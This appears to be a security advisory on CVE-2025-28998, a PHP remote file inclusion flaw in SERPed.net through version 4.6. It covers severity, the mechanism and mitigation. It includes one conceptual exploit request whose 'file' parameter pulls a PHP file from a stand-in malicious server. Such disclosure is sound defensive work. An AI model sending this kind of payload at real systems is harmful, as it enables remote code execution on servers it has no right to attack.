Overview
The CVE-2025-28998 is a serious security vulnerability detected in the SERPed.net PHP program that may potentially lead to system compromise or data leakage. This vulnerability is based on improper control of filename for Include/Require statement in PHP program, also known as ‘PHP Remote File Inclusion’. This flaw affects a wide range of SERPed.net versions, specifically from n/a through 4.6, and poses a significant threat to the integrity and confidentiality of the affected systems, making this issue crucial to address.
Vulnerability Summary
CVE ID: CVE-2025-28998
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
SERPed.net | n/a – 4.6
How the Exploit Works
The exploit works by taking advantage of the improper control of filenames in the PHP program’s Include/Require statement. It allows an attacker to include a remote file from an external server, which gets executed in the context of the application. This allows the attacker to execute arbitrary code, potentially leading to full system compromise.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This HTTP request demonstrates how a malicious payload in the form of a remote file could be included and executed on the server:
GET /vulnerable_page.php?file=http://malicious_server/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, `vulnerable_page.php` is the PHP page that contains the vulnerable Include/Require statement. The `file` parameter is manipulated to include a remote file (`malicious_file.php`) from a malicious server (`malicious_server`). When the request is processed, the malicious file is included and executed on the server.
Mitigation Guidance
To mitigate the vulnerability, the immediate recommendation is to apply the vendor-supplied patch. In the event that a patch isn’t available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these solutions do not completely resolve the vulnerability but rather add an additional layer of security to the system. It is strongly recommended to apply the vendor patch as soon as it becomes available to ensure the integrity and confidentiality of your systems and data.